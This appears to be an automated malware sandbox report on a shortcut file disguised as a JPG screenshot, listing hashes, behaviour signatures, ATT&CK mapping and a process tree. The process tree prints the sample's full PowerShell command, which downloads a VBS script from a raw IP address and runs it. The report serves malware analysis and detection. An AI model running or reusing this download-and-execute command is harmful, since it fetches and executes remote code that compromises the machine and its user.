Analysis

  • max time kernel
    43s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    17-01-2023 08:26

General

  • Target

    screenshot3746.jpg.lnk

  • Size

    2KB

  • MD5

    c6b01d5c60a32b533fed0066a4c523de

  • SHA1

    1ad9db830a0fc612e8cdef1712a1693152b48f2c

  • SHA256

    98869f8722fc8cae78de5023b9c8b7339e55bb23397dbe05e3fcb9ccefb18ab4

  • SHA512

    683406e5041e96f1084c16c3fd04c133e44a9be933255d25b23315baf5cac53f3a8add2f9e1d09f4efef6f59e6fbc56437b71734266e03786713947e8ca744ef

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\screenshot3746.jpg.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest http://194.180.48.211//tvic//Filmist.vbs -OutFile C:\Windows\Tasks\Proof.vbs; C:\Windows\Tasks\Proof.vbs
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1320

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

1
T1082

Replay Monitor

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Downloads

  • memory/1320-88-0x0000000000000000-mapping.dmp
  • memory/1320-93-0x000007FEF3BF0000-0x000007FEF4613000-memory.dmp
    Filesize

    10.1MB

  • memory/1320-95-0x0000000002444000-0x0000000002447000-memory.dmp
    Filesize

    12KB

  • memory/1320-94-0x000007FEF3090000-0x000007FEF3BED000-memory.dmp
    Filesize

    11.4MB

  • memory/1320-96-0x0000000002444000-0x0000000002447000-memory.dmp
    Filesize

    12KB

  • memory/1320-97-0x000000000244B000-0x000000000246A000-memory.dmp
    Filesize

    124KB

  • memory/2036-54-0x000007FEFBB41000-0x000007FEFBB43000-memory.dmp
    Filesize

    8KB